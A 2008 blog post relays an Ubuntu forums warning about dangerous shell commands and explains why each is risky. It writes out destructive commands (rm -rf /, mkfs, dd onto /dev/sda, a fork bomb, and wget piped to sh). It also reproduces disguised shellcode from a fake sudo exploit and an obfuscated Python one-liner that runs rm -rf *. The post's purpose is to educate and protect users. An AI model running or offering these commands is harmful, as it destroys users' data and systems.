infobyte: dangerous shell commands

infobyte January 3rd, 2008

Recently, there was an announcement on www.ubuntuforums.org warning users against malicious shell commands that might be run accidently by unsuspecting or inexperienced users. I wanted to spread the warning by posting it here.

For the education of Linux users everywhere, here are some common examples of dangerous commands that should raise a bright red flag. Again, these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data — many of them will even cause damage from a LiveCD environment.

Again, DANGEROUS COMMANDS — look but DO NOT RUN.

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn’t “feel right”.

1. Delete all files, delete current directory, and delete visible files in current directory. It’s quite obvious why these commands can be dangerous to execute.
rm -rf /
rm -rf .
rm -rf *

2. Another interesting one comes up when trying to delete all hidden entries in a directory (hidden entries start with a “.”) You may be tempted to use:
rm -r .*

The only problem is that .., the link to the previous directory, will be matched by this and this will in turn delete everything above this directory level (oops!). A possible alternative that I can think of for this would be
rm -r .[^.]*
which will exclude the entry “..”. Of course, it probably has limitations of not matching certain entries, fixing which is an exercise left to the reader.

3. Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.
mkfs
mkfs.ext3
mkfs.anything

4. Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:
any_command > /dev/sda
dd if=something of=/dev/sda

5. Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)
){:|:&};:

In Perl:
fork while fork

6. Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory

7. Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it’s highly compressed data and will inflate to hundreds of GB’s, filling your hard drive. You should not touch data from an untrusted source

8. Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses — benign or malevolent. Do not execute code from people you don’t trust
wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

9. Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author’s homepage, an Ubuntu address).

A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:
char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

"x6ex2fx73x68x00x2dx63x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

To the new or even lightly experienced computer user, this looks like the “hex code gibberish stuff” that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don’t need to be reading this announcement. Otherwise, remember that these things can come in very novel forms — watch out.

Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!

For example, 30 seconds in Python yields something like this:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Where “sn!.sg!+” is simply rm -rf * shifted a character up. Of course this is a silly example — I wouldn’t expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.

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